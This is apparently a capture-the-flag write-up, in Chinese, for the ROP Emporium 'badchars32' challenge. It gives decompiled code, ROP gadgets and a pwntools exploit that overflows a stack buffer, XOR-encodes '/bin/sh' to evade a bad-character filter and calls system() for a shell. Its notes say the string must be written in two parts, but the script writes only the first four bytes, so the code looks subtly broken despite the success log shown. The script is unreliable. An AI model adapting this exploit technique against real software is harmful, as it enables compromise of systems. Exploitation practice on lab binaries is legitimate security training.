ROP badchars
文件:badchars32
checksec badchars32
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
IDA
int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 2, 0); puts("badchars by ROP Emporium"); puts("32bits\n"); pwnme(); puts("\nExiting"); return 0; }
pwnme()
void pwnme() { char *v0; // ST1C_4@2 size_t n; // ST18_4@2 void *s; // [sp+Ch] [bp-2Ch]@1 int v3; // [sp+10h] [bp-28h]@2 s = malloc(0x200u); if ( !s ) exit(1); memset(s, 0, 0x200u); memset(&v3, 0, 0x20u); puts("badchars are: b i c / <space> f n s"); printf("> "); v0 = fgets((char *)s, 512, stdin); n = nstrlen(v0, 512); checkBadchars(v0, n); memcpy(&v3, v0, n); free(v0); }
checkBadchars()
unsigned int __cdecl checkBadchars(int a1, unsigned int a2) { unsigned int result; // eax@8 char v3; // [sp+0h] [bp-10h]@1 char v4; // [sp+1h] [bp-Fh]@1 char v5; // [sp+2h] [bp-Eh]@1 char v6; // [sp+3h] [bp-Dh]@1 char v7; // [sp+4h] [bp-Ch]@1 char v8; // [sp+5h] [bp-Bh]@1 char v9; // [sp+6h] [bp-Ah]@1 char v10; // [sp+7h] [bp-9h]@1 unsigned int j; // [sp+8h] [bp-8h]@1 unsigned int i; // [sp+Ch] [bp-4h]@1 v3 = 98; v4 = 105; v5 = 99; v6 = 47; v7 = 32; v8 = 102; v9 = 110; v10 = 115; j = 0; for ( i = 0; ; ++i ) { result = i; if ( i >= a2 ) break; for ( j = 0; j <= 7; ++j ) { if ( *(_BYTE *)(a1 + i) == *(&v3 + j) ) { *(_BYTE *)(a1 + i) = -21; break; } } } return result; }
无法正常传入”/bin/sh\x00”
(经过搜索发现可以通过加密字符串绕过检测)
先找工具(可以看ROPgadget –help)
ROPgadget --binary badchars32 --only "mov|xor|pop|ret"
有用的:
0x08048893 : mov dword ptr [edi], esi ; ret 0x08048896 : pop ebx ; pop ecx ; ret 0x08048899 : pop esi ; pop edi ; ret 0x08048890 : xor byte ptr [ebx], cl ; ret
EXP
注意:ord()和chr()配对使用,ord()是字符转ASCII码,chr()相反
注意:因为是32位,/bin/sh要分2次传
from pwn import * #context.log_level = "debug" elf = ELF('./badchars32') p = process('./badchars32') sys_addr = elf.plt['system'] bss_addr = elf.bss() mov_edi_esi = 0x08048893 pop_ebx_ecx = 0x08048896 pop_esi_edi = 0x08048899 xor_EBX_cl = 0x08048890 binsh = "/bin/sh\x00" xor_binsh = "" xor = 2 for i in binsh: xor_binsh += chr(ord(i)^xor) payload = 'A'*(0x28+4) payload += p32(pop_esi_edi) + xor_binsh[0:4] + p32(bss_addr) + p32(mov_edi_esi) for i in xrange(0,len(xor_binsh)): payload += p32(pop_ebx_ecx) payload += p32(bss_addr+int(i)) payload += p32(2) payload += p32(xor_EBX_cl) payload += p32(sys_addr) + p32(0) + p32(bss_addr) p.sendlineafter("> ",payload) p.interactive()
[+] Starting local process './badchars32': pid 2202 [*] Switching to interactive mode f n s > $ cat flag.txt ROPE{a_placeholder_32byte_flag!}
ROPE{a_placeholder_32byte_flag!}